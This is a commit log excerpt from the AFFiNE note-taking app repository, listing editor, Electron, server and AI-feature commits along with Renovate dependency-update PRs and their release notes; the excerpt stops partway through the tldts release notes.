2025-02-14 06:57:58 +00:00
pengx17
f20e3f6d8f feat(electron): show a warning for drop folder to split view (#10178)
fix PD-2310

![image.png](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/T2klNLEk0wxLh4NRDzhk/811df8d5-f424-4135-ad90-30135b299f12.png)
2025-02-14 06:42:56 +00:00
Flrande
537012e7df fix(editor): edgeless mindmap text button layer inder (#10179) 2025-02-14 05:18:57 +00:00
L-Sun
9d08f446cc refactor(editor): remove redundant edgeless icons (#10169)
Continue [BS-2240](https://linear.app/affine-design/issue/BS-2240/%E6%B8%85%E7%90%86%E9%87%8D%E5%A4%8D%E7%9A%84icon)

This PR removes `icons/edgeless.ts` and refactor with `@blocksuite/icons` for reducing redundant icons
2025-02-14 05:03:26 +00:00
pengx17
1f6ac4b1fe feat(electron): split view drag indicator bg (#10175)
fix PD-2309
2025-02-14 03:43:54 +00:00
forehalo
dcc9c9a7ec fix(server): should fallback to doc role permission if not specified (#10166) 2025-02-14 03:00:56 +00:00
Oleg
b82fc3bc10 feat(core): attach a pdf (#10039)
Co-authored-by: L-Sun <zover.v@gmail.com>
2025-02-14 10:22:32 +08:00
Alexey Lysenko
769547c2d5 fix(editor): support more divider markdown shortcut (#10139) 2025-02-14 10:13:40 +08:00
Flrande
4e488a1ba1 fix(editor): figma block ui issues (#10167) 2025-02-13 13:56:18 +00:00
L-Sun
3ada4bee0d chore(editor): adjust min width of edgeless note (#10153)
Close [BS-2499](https://linear.app/affine-design/issue/BS-2499/所有notes最小宽度调整为218px)

### What changes
- adjusted min width of edgeless note
  - placeholder show ellipsis in min edgeless note
- refactored somes button of `change-note-button.ts` with `isPageBlock`
2025-02-13 12:40:14 +00:00
Brooooooklyn
96bde3ceaf chore(server): enhance log context and messages (#10151) 2025-02-13 12:24:12 +00:00
akumatus
79d5f55471 feat(core): move context docs to user prompt (#10162)
Fix issue [BS-2522](https://linear.app/affine-design/issue/BS-2522).

### Why make this change?
If the user data contains illegal content, carrying the user data in the system prompt will run the risk of having the account banned.

### What Changed?
- Move the `Context Documents` to the user prompt.
- Add `withPrompt` in `QueryChatHistoriesInput` options.
- Get chat histories without prompt messages.
- Omit document context when saving messages to the `aiSessionMessage` db.
2025-02-13 12:08:13 +00:00
fengmk2
3ff721abe8 refactor(server): auto print full stack on logger.error (#10161) 2025-02-13 11:49:41 +00:00
darkskygit
899b1d60e0 feat: better error handle for sse endpoint (#10155)
fix CLOUD-123
2025-02-13 10:10:13 +00:00
L-Sun
a7de6edfef fix(editor): overflow of dragging preview of note card in ToC (#10160)
Close [BS-2503](https://linear.app/affine-design/issue/BS-2503/长note拖拽时会带着右侧边栏标题一起移动)
2025-02-13 09:55:11 +00:00
donteatfriedrice
40c6e42ab8 fix(core): edgeless text ai action should generate image correctly (#10158)
[BS-2570](https://linear.app/affine-design/issue/BS-2570/edgeless-text-没有被正确的作为上下文放入-app)
2025-02-13 09:38:13 +00:00
CatsJuice
887bbcf641 chore(core): add feature flag for ios AI button (#10150)
close AF-2209, AF-2104
2025-02-13 09:10:14 +00:00
CatsJuice
7c04ef4f4e fix(component): loading in button should be white for primary variant (#10073)
close AF-2178
2025-02-13 08:55:11 +00:00
Brooooooklyn
312f9b1ecd ci: split server tests (#10141) 2025-02-13 08:40:10 +00:00
forehalo
ab538ef9bb fix(server): selfhost subscription customer portal creation (#10149) 2025-02-13 08:23:28 +00:00
JimmFly
ea95ff39c5 fix(core): show self hosted license seats (#10146) 2025-02-13 07:58:10 +00:00
forehalo
3f97203623 fix(server): wrong affine pro endpoint (#10144) 2025-02-13 07:41:08 +00:00
aki-chang-dev
31ca8f25b6 fix(android): fix status bar style (#10147) 2025-02-13 07:14:11 +00:00
akumatus
35cbbb3c4b fix(core): ai context gql file (#10145) 2025-02-13 06:57:12 +00:00
CatsJuice
39182b5fc6 fix(core): do not show starter bar for doc in history modal (#10107) 2025-02-13 06:15:09 +00:00
CatsJuice
d3e0cd1369 chore(core): use fadeBottom animation for center peek (#10072)
close AF-2184, AF-2186

![CleanShot 2025-02-11 at 09.31.39.gif](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/LakojjjzZNf6ogjOVwKE/81ed6601-33ff-4eee-bb35-636a2a27cd85.gif)
2025-02-13 05:58:10 +00:00
CatsJuice
473f8bd167 feat(core): hide starter-bar for template (#10112) 2025-02-13 05:41:11 +00:00
CatsJuice
85addad18f feat(core): persist right-sidebar open state and resize width (#10120) 2025-02-13 05:25:09 +00:00
Saul-Mirone
9321ce94a7 refactor(editor): remove global types in config (#10143)
Closes: [BS-2554](https://linear.app/affine-design/issue/BS-2554/remove-global-types-in-block-config)
2025-02-13 04:35:35 +00:00
L-Sun
dbf1d0038a fix(edtiro): hide toc drag indicator on edgeless note (#10135)
Close [BS-2497](https://linear.app/affine-design/issue/BS-2497/隐藏edgeless-only的toc的dnd-indicator)
2025-02-13 04:18:12 +00:00
L-Sun
011c18de8b fix(editor): hide collpased content during dragging note (#10133)
Close [BS-2531](https://linear.app/affine-design/issue/BS-2531/%E6%8B%96%E5%8A%A8%E6%8A%98%E5%8F%A0%E7%9A%84note%E6%97%B6%EF%BC%8C%E4%B8%8D%E6%98%BE%E7%A4%BA%E9%9A%90%E8%97%8F%E5%86%85%E5%AE%B9), [BS-2536](https://linear.app/affine-design/issue/BS-2536/page-block%E9%A1%B6%E9%83%A8toolbar)
2025-02-13 04:18:11 +00:00
Brooooooklyn
01b9aa91b2 chore(server): migrate depracated opentelemetry usage (#10140) 2025-02-13 04:02:07 +00:00
renovate
c4565b57ec chore: bump up vite-plugin-istanbul version to v7 (#10106)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [vite-plugin-istanbul](https://redirect.github.com/ifaxity/vite-plugin-istanbul) | [`^6.0.2` -> `^7.0.0`](https://renovatebot.com/diffs/npm/vite-plugin-istanbul/6.0.2/7.0.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/vite-plugin-istanbul/7.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/vite-plugin-istanbul/7.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/vite-plugin-istanbul/6.0.2/7.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/vite-plugin-istanbul/6.0.2/7.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>ifaxity/vite-plugin-istanbul (vite-plugin-istanbul)</summary>

### [`v7.0.0`](https://redirect.github.com/iFaxity/vite-plugin-istanbul/releases/tag/v7.0.0)

[Compare Source](https://redirect.github.com/ifaxity/vite-plugin-istanbul/compare/v6.0.2...v7.0.0)

-   fix!: corrected broken lockfile ([#&#8203;339](https://redirect.github.com/ifaxity/vite-plugin-istanbul/issues/339)) ([213cd65](213cd65c3b))

##### Features

-   allow passing generatorOpts down to Babel ([#&#8203;323](https://redirect.github.com/ifaxity/vite-plugin-istanbul/issues/323)) ([c58d180](c58d180a5f))

##### BREAKING CHANGES

-   previous pr made an api change

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xNjQuMSIsInVwZGF0ZWRJblZlciI6IjM5LjE2Ny4xIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-02-13 03:46:08 +00:00
akumatus
d17f5651f1 feat(core): add with your docs label to ai answer (#10124)
Fix issue [BS-2425](https://linear.app/affine-design/issue/BS-2425).

![截屏2025-02-12 16.34.20.png](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/sJGviKxfE3Ap685cl5bj/89576eac-e176-4890-8d58-7c39d0ae1d9b.png)
2025-02-13 03:28:27 +00:00
Yifeng Wang
26de7a56fd refactor(editor): remove redundant getOptional for gfx (#10142) 2025-02-13 11:27:20 +08:00
doouding
ed0b25def0 fix: drop indicator in center peek (#10136) 2025-02-13 02:53:07 +00:00
doouding
81ead5cd35 fix: database cross doc dragging (#10126) 2025-02-13 02:53:06 +00:00
pengx17
5be4d677da feat(electron): app tabs width styles (#10131)
fix AF-2212
2025-02-13 02:36:05 +00:00
fengmk2
0ce4cc8609 refactor(server): add debug info on global exception log (#10118)
before

![image.png](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/hTwOityLamd4hitrae7M/4fc84ed7-a3a3-452b-85d0-240847793c5c.png)

after

![image.png](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/hTwOityLamd4hitrae7M/60d9342c-6bf2-4ed0-817a-8e4eba3e0832.png)
2025-02-13 02:20:02 +00:00
L-Sun
9a17422d36 fix(editor): wrong position of remote selection and at menu in edgeless (#10137)
Close [BS-2552](https://linear.app/affine-design/issue/BS-2552/menu-loading-时滚动,定位错误), [BS-2490](https://linear.app/affine-design/issue/BS-2490/note-block-的menu的输入阴影错位), [BS-2300](https://linear.app/affine-design/issue/BS-2300/at-menu的输入阴影在暗黑模式看不见)

### What  Changes
- fix the position of remote selection mask and @ menu input mask in edgeless
- fix the position of @ menu is no updated during edgeless viewport change
- update @ menu mask color in dark mode

### Before
https://github.com/user-attachments/assets/f44f618e-a791-497a-9f53-74824fe48dea

### After
https://github.com/user-attachments/assets/5d87b999-deae-4435-9b8b-4cdf55393395
2025-02-13 01:56:01 +00:00
doouding
f0a99851aa fix: embed block style when dragging doc from sidebar doc list to edgeless (#10122) 2025-02-13 01:35:33 +00:00
doouding
40121b6ad5 feat: dragged blocks should set opacity (#10119) 2025-02-13 01:35:33 +00:00
Yifeng Wang
fc77c7d41a refactor(editor): move worker renderer to presets with basic test (#10127) 2025-02-12 19:35:06 -06:00
doouding
270d1754a3 feat: edgeless dnd preview (#10117) 2025-02-12 12:37:07 +00:00
doouding
f89fcf82f8 feat: edgeless dnd (#9988)
### Changed
- Support edgelss dnd
- Simplify the drag-handle state
2025-02-12 12:37:06 +00:00
forehalo
8129434a2e fix(server): allow to checkout selfhost team in canary (#10130) 2025-02-12 12:19:28 +00:00
github-actions[bot]
e4e06f35bb chore(i18n): sync translations (#10026)
Co-authored-by: Crowdin Bot <support+bot@crowdin.com>
Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2025-02-12 12:18:24 +00:00
Saul-Mirone
e7cc710f8e refactor(editor): remove service global type (#10129)
Closes: [BS-2566](https://linear.app/affine-design/issue/BS-2566/remove-global-types-in-service)
2025-02-12 11:46:10 +00:00
aki-chang-dev
6730122108 feat(android): implement capacitor/keyboard plugin (#10125) 2025-02-12 11:28:56 +00:00
renovate
1409408a66 chore: bump up all non-major dependencies (#10116)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@faker-js/faker](https://fakerjs.dev) ([source](https://redirect.github.com/faker-js/faker)) | [`9.4.0` -> `9.5.0`](https://renovatebot.com/diffs/npm/@faker-js%2ffaker/9.4.0/9.5.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@faker-js%2ffaker/9.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@faker-js%2ffaker/9.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@faker-js%2ffaker/9.4.0/9.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@faker-js%2ffaker/9.4.0/9.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@opentelemetry/semantic-conventions](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/semantic-conventions) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`1.29.0` -> `1.30.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2fsemantic-conventions/1.29.0/1.30.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2fsemantic-conventions/1.30.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2fsemantic-conventions/1.30.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2fsemantic-conventions/1.29.0/1.30.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2fsemantic-conventions/1.29.0/1.30.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@toeverything/theme](https://redirect.github.com/toeverything/design) | [`1.1.9` -> `1.1.10`](https://renovatebot.com/diffs/npm/@toeverything%2ftheme/1.1.9/1.1.10) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@toeverything%2ftheme/1.1.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@toeverything%2ftheme/1.1.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@toeverything%2ftheme/1.1.9/1.1.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@toeverything%2ftheme/1.1.9/1.1.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@vanilla-extract/vite-plugin](https://redirect.github.com/vanilla-extract-css/vanilla-extract) ([source](https://redirect.github.com/vanilla-extract-css/vanilla-extract/tree/HEAD/packages/vite-plugin)) | [`5.0.0` -> `5.0.1`](https://renovatebot.com/diffs/npm/@vanilla-extract%2fvite-plugin/5.0.0/5.0.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@vanilla-extract%2fvite-plugin/5.0.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@vanilla-extract%2fvite-plugin/5.0.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@vanilla-extract%2fvite-plugin/5.0.0/5.0.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@vanilla-extract%2fvite-plugin/5.0.0/5.0.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@vanilla-extract/webpack-plugin](https://redirect.github.com/vanilla-extract-css/vanilla-extract) ([source](https://redirect.github.com/vanilla-extract-css/vanilla-extract/tree/HEAD/packages/webpack-plugin)) | [`2.3.17` -> `2.3.18`](https://renovatebot.com/diffs/npm/@vanilla-extract%2fwebpack-plugin/2.3.17/2.3.18) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@vanilla-extract%2fwebpack-plugin/2.3.18?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@vanilla-extract%2fwebpack-plugin/2.3.18?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@vanilla-extract%2fwebpack-plugin/2.3.17/2.3.18?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@vanilla-extract%2fwebpack-plugin/2.3.17/2.3.18?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [html-validate](https://html-validate.org) ([source](https://gitlab.com/html-validate/html-validate)) | [`9.2.1` -> `9.2.2`](https://renovatebot.com/diffs/npm/html-validate/9.2.1/9.2.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/html-validate/9.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/html-validate/9.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/html-validate/9.2.1/9.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/html-validate/9.2.1/9.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [tldts](https://redirect.github.com/remusao/tldts) | [`6.1.68` -> `6.1.77`](https://renovatebot.com/diffs/npm/tldts/6.1.68/6.1.77) | [![age](https://developer.mend.io/api/mc/badges/age/npm/tldts/6.1.77?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/tldts/6.1.77?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/tldts/6.1.68/6.1.77?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/tldts/6.1.68/6.1.77?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [zod](https://zod.dev) ([source](https://redirect.github.com/colinhacks/zod)) | [`3.24.1` -> `3.24.2`](https://renovatebot.com/diffs/npm/zod/3.24.1/3.24.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/zod/3.24.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/zod/3.24.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/zod/3.24.1/3.24.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/zod/3.24.1/3.24.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>faker-js/faker (@&#8203;faker-js/faker)</summary>

### [`v9.5.0`](https://redirect.github.com/faker-js/faker/blob/HEAD/CHANGELOG.md#950-2025-02-10)

[Compare Source](https://redirect.github.com/faker-js/faker/compare/v9.4.0...v9.5.0)

##### Features

-   **image:** add AI-generated avatars ([#&#8203;3126](https://redirect.github.com/faker-js/faker/issues/3126)) ([9e13953](9e1395380c))

</details>

<details>
<summary>open-telemetry/opentelemetry-js (@&#8203;opentelemetry/semantic-conventions)</summary>

### [`v1.30.0`](https://redirect.github.com/open-telemetry/opentelemetry-js/blob/HEAD/CHANGELOG.md#1300)

[Compare Source](https://redirect.github.com/open-telemetry/opentelemetry-js/compare/v1.29.0...v1.30.0)

##### 🚀 (Enhancement)

-   feat(sdk-metrics): PeriodicExportingMetricReader now flushes pending tasks at shutdown [#&#8203;5242](https://redirect.github.com/open-telemetry/opentelemetry-js/pull/5242)

##### 🐛 (Bug Fix)

-   fix(sdk-trace-base): do not load OTEL\_ env vars on module load, but when needed [#&#8203;5233](https://redirect.github.com/open-telemetry/opentelemetry-js/pull/5233)
-   fix(instrumentation-xhr, instrumentation-fetch): content length attributes no longer get removed with `ignoreNetworkEvents: true` being set [#&#8203;5229](https://redirect.github.com/open-telemetry/opentelemetry-js/issues/5229)

</details>

<details>
<summary>toeverything/design (@&#8203;toeverything/theme)</summary>

### [`v1.1.10`](https://redirect.github.com/toeverything/design/compare/1.1.9...1.1.10)

[Compare Source](https://redirect.github.com/toeverything/design/compare/1.1.9...1.1.10)

</details>

<details>
<summary>vanilla-extract-css/vanilla-extract (@&#8203;vanilla-extract/vite-plugin)</summary>

### [`v5.0.1`](https://redirect.github.com/vanilla-extract-css/vanilla-extract/blob/HEAD/packages/vite-plugin/CHANGELOG.md#501)

[Compare Source](https://redirect.github.com/vanilla-extract-css/vanilla-extract/compare/@vanilla-extract/vite-plugin@5.0.0...@vanilla-extract/vite-plugin@5.0.1)

##### Patch Changes

-   Updated dependencies \[[`965fd03`](965fd03ff2)]:
    -   [@&#8203;vanilla-extract/integration](https://redirect.github.com/vanilla-extract/integration)[@&#8203;8](https://redirect.github.com/8).0.1
    -   [@&#8203;vanilla-extract/compiler](https://redirect.github.com/vanilla-extract/compiler)[@&#8203;0](https://redirect.github.com/0).1.2

</details>

<details>
<summary>vanilla-extract-css/vanilla-extract (@&#8203;vanilla-extract/webpack-plugin)</summary>

### [`v2.3.18`](https://redirect.github.com/vanilla-extract-css/vanilla-extract/blob/HEAD/packages/webpack-plugin/CHANGELOG.md#2318)

[Compare Source](https://redirect.github.com/vanilla-extract-css/vanilla-extract/compare/@vanilla-extract/webpack-plugin@2.3.17...@vanilla-extract/webpack-plugin@2.3.18)

##### Patch Changes

-   Updated dependencies \[[`965fd03`](965fd03ff2)]:
    -   [@&#8203;vanilla-extract/integration](https://redirect.github.com/vanilla-extract/integration)[@&#8203;8](https://redirect.github.com/8).0.1

</details>

<details>
<summary>html-validate/html-validate (html-validate)</summary>

### [`v9.2.2`](https://gitlab.com/html-validate/html-validate/blob/HEAD/CHANGELOG.md#922-2025-02-12)

[Compare Source](https://gitlab.com/html-validate/html-validate/compare/v9.2.1...v9.2.2)

##### Bug Fixes

-   handle dashes in custom element names ([4a87773](4a877738c5)), closes [#&#8203;283](https://gitlab.com/html-validate/html-validate/issues/283)

</details>

<details>
<summary>remusao/tldts (tldts)</summary>

### [`v6.1.77`](https://redirect.github.com/remusao/tldts/blob/HEAD/CHANGELOG.md#v6177-Sat-Feb-08-2025)

[Compare Source](https://redirect.github.com/remusao/tldts/compare/v6.1.76...v6.1.77)

##### 📜 Update Public Suffix List

-   `tldts-experimental`, `tldts`
    -   Update upstream public suffix list [#&#8203;2273](https://redirect.github.com/remusao/tldts/pull/2273) ([@&#8203;remusao](https://redirect.github.com/remusao))

##### Authors: 1

-   Rémi ([@&#8203;remusao](https://redirect.github.com/remusao))

***

### [`v6.1.76`](https://redirect.github.com/remusao/tldts/blob/HEAD/CHANGELOG.md#v6176-Fri-Jan-31-2025)

[Compare Source](https://redirect.github.com/remusao/tldts/compare/v6.1.75...v6.1.76)

##### 📜 Update Public Suffix List

-   `tldts-experimental`, `tldts-icann`, `tldts`
    -   Update upstream public suffix list [#&#8203;2266](https://redirect.github.com/remusao/tldts/pull/2266) ([@&#8203;remusao](https://redirect.github.com/remusao))

##### 🔩 Dependencies

-   Bump [@&#8203;types/node](https://redirect.github.com/types/node) from 22.10.10 to 22.12.0 [#&#8203;2264](https://redirect.github.com/remusao/tldts/pull/2264) ([@&#8203;dependabot\[bot\]](https://redirect.github.com/dependabot\[bot]))
-   Bump rollup from 4.31.0 to 4.32.1 [#&#8203;2265](https://redirect.github.com/remusao/tldts/pull/2265) ([@&#8203;dependabot\[bot\]](https://redirect.github.com/dependabot\[bot]))

##### Authors: 2

-   [@&#8203;dependabot\[bot\]](https://redirect.github.com/dependabot\[bot])
-   Rémi ([@&#8203;remusao](https://redirect.github.com/remusao))

***

### [`v6.1.75`](https://redirect.github.com/remusao/tldts/blob/HEAD/CHANGELOG.md#v6175-Sun-Jan-26-2025)

[Compare Source](https://redirect.github.com/remusao/tldts/compare/v6.1.74...v6.1.75)

##### 📜 Update Public Suffix List

-   `tldts-experimental`, `tldts-icann`, `tldts`
    -   Update upstream public suffix list [#&#8203;2261](https://redirect.github.com/remusao/tldts/pull/2261) ([@&#8203;remusao](https://redirect.github.com/remusao))

##### 🔩 Dependencies

-   Bump [@&#8203;types/node](https://redirect.github.com/types/node) from 22.10.8 to 22.10.10 [#&#8203;2259](https://redirect.github.com/remusao/tldts/pull/2259) ([@&#8203;dependabot\[bot\]](https://redirect.github.com/dependabot\[bot]))
-   Bump mocha from 11.0.1 to 11.1.0 [#&#8203;2255](https://redirect.github.com/remusao/tldts/pull/2255) ([@&#8203;dependabot\[bot\]](https://redirect.github.com/dependabot\[bot]))
-   Bump [@&#8203;types/node](https://redirect.github.com/types/node) from 22.10.7 to 22.10.8 [#&#8203;2256](https://redirect.github.com/remusao/tldts/pull/2256) ([@&#8203;dependabot\[bot\]](https://redirect.github.com/dependabot\[bot]))

##### Authors: 2

-   [@&#8203;dependabot\[bot\]](https://redirect.github.com/dependabot\[bot])
-   Rémi ([@&#8203;remusao](https://redirect.github.com/remusao))

***

### [`v6.1.74`](https://redirect.github.com/remusao/tldts/blob/HEAD/CHANGELOG.md#v6174-Wed-Jan-22-2025)

[Compare Source](https://redirect.github.com/remusao/tldts/compare/v6.1.73...v6.1.74)

##### 📜 Update Public Suffix List

-   `tldts-experimental`, `tldts-icann`, `tldts`
    -   Update upstream public suffix list [#&#8203;2254](https://redirect.github.com/remusao/tldts/pull/2254) ([@&#8203;remusao](https://redirect.github.com/remusao))

##### 🔩 Dependencies

-   Bump rollup from 4.30.1 to 4.31.0 [#&#8203;2252](https://redirect.github.com/remusao/tldts/pull/2252) ([@&#8203;dependabot\[bot\]](https://redirect.github.com/dependabot\[bot]))

##### Authors: 2

-   [@&#8203;dependabot\[bot\]](https://redirect.github.com/dependabot\[bot])
-   Rémi ([@&#8203;remusao](https://redirect.github.com/remusao))

***

### [`v6.1.73`](https://redirect.github.com/remusao/tldts/blob/HEAD/CHANGELOG.md#v6173-Sat-Jan-18-2025)

[Compare Source](https://redirect.github.com/remusao/tldts/compare/v6.1.72...v6.1.73)

##### 📜 Update Public Suffix List

-   `tldts-experimental`, `tldts`
    -   Update upstream public suffix list [#&#8203;2251](https://redirect.github.com/remusao/tldts/pull/2251) ([@&#8203;remusao](https://redirect.github.com/remusao))

##### 🔩 Dependencies

-   Bump [@&#8203;types/node](https://redirect.github.com/types/node) from 22.10.6 to 22.10.7 [#&#8203;2250](https://redirect.github.com/remusao/tldts/pull/2250) ([@&#8203;dependabot\[bot\]](https://redirect.github.com/dependabot\[bot]))

##### Authors: 2

-   [@&#8203;dependabot\[bot\]](https://redirect.github.com/dependabot\[bot])
-   Rémi ([@&#8203;remusao](https://redirect.github.com/remusao))

***

### [`v6.1.72`](https://redirect.github.com/remusao/tldts/blob/HEAD/CHANGELOG.md#v6172-Wed-Jan-15-2025)

[Compare Source](https://redirect.github.com/remusao/tldts/compare/v6.1.71...v6.1.72)

##### 📜 Update Public Suffix List

-   `tldts-experimental`, `tldts-icann`, `tldts-tests`, `tldts`
    -   Update upstream public suffix list [#&#8203;2245](https://redirect.github.com/remusao/tldts/pull/2245) ([@&#8203;remusao](https://redirect.github.com/remusao))

##### 🔩 Dependencies

-   Bump typescript from 5.7.2 to 5.7.3 [#&#8203;2247](https://redirect.github.com/remusao/tldts/pull/2247) ([@&#8203;dependabot\[bot\]](https://redirect.github.com/dependabot\[bot]))
-   Bump [@&#8203;types/node](https://redirect.github.com/types/node) from 22.10.5 to 22.10.6 [#&#8203;2248](https://redirect.github.com/remusao/tldts/pull/2248) ([@&#8203;dependabot\[bot\]](https://redirect.github.com/dependabot\[bot]))
-   Bump rollup from 4.29.2 to 4.30.1 [#&#8203;2246](https://redirect.github.com/remusao/tldts/pull/2246) ([@&#8203;dependabot\[bot\]](https://redirect.github.com/dependabot\[bot]))

##### Authors: 2

-   [@&#8203;dependabot\[bot\]](https://redirect.github.com/dependabot\[bot])
-   Rémi ([@&#8203;remusao](https://redirect.github.com/remusao))

***

### [`v6.1.71`](https://redirect.github.com/remusao/tldts/blob/HEAD/CHANGELOG.md#v6171-Mon-Jan-06-2025)

[Compare Source](https://redirect.github.com/remusao/tldts/compare/v6.1.70...v6.1.71)

##### 📜 Update Public Suffix List

-   `tldts-experimental`, `tldts`
    -   Update upstream public suffix list [#&#8203;2241](https://redirect.github.com/remusao/tldts/pull/2241) ([@&#8203;remusao](https://redirect.github.com/remusao))

##### 🔩 Dependencies

-   Bump [@&#8203;types/node](https://redirect.github.com/types/node) from 22.10.2 to 22.10.5 [#&#8203;2243](https://redirect.github.com/remusao/tldts/pull/2243) ([@&#8203;dependabot\[bot\]](https://redirect.github.com/dependabot\[bot]))
-   Bump rollup from 4.29.1 to 4.29.2 [#&#8203;2242](https://redirect.github.com/remusao/tldts/pull/2242) ([@&#8203;dependabot\[bot\]](https://redirect.github.com/dependabot\[bot]))

##### Authors: 2

-   [@&#8203;dependabot\[bot\]](https://redirect.github.com/dependabot\[bot])
-   Rémi ([@&#8203;remusao](https://redirect.github.com/remusao))

***

### [`v6.1.70`](https://redirect.github.com/remusao/tldts/blob/HEAD/CHANGELOG.md#v6170-Wed-Dec-25-2024)

[Compare Source](https://redirect.github.com/remusao/tldts/compare/v6.1.69...v6.1.70)

##### 📜 Update Public Suffix List

-   `tldts-experimental`, `tldts-icann`, `tldts`
    -   Update upstream public suffix list [#&#8203;2237](https://redirect.github.com/remusao/tldts/pull/2237) ([@&#8203;remusao](https://redirect.github.com/remusao))

##### 🔩 Dependencies

-   Bump rollup from 4.28.1 to 4.29.1 [#&#8203;2238](https://redirect.github.com/remusao/tldts/pull/2238) ([@&#8203;dependabot\[bot\]](https://redirect.github.com/dependabot\[bot]))

##### Authors: 2

-   [@&#8203;dependabot\[bot\]](https://redirect.github.com/dependabot\[bot])
-   Rémi ([@&#8203;remusao](https://redirect.github.com/remusao))

***

### [`v6.1.69`](https://redirect.github.com/remusao/tldts/blob/HEAD/CHANGELOG.md#v6169-Thu-Dec-19-2024)

[Compare Source](https://redirect.github.com/remusao/tldts/compare/v6.1.68...v6.1.69)

##### 📜 Update Public Suffix List

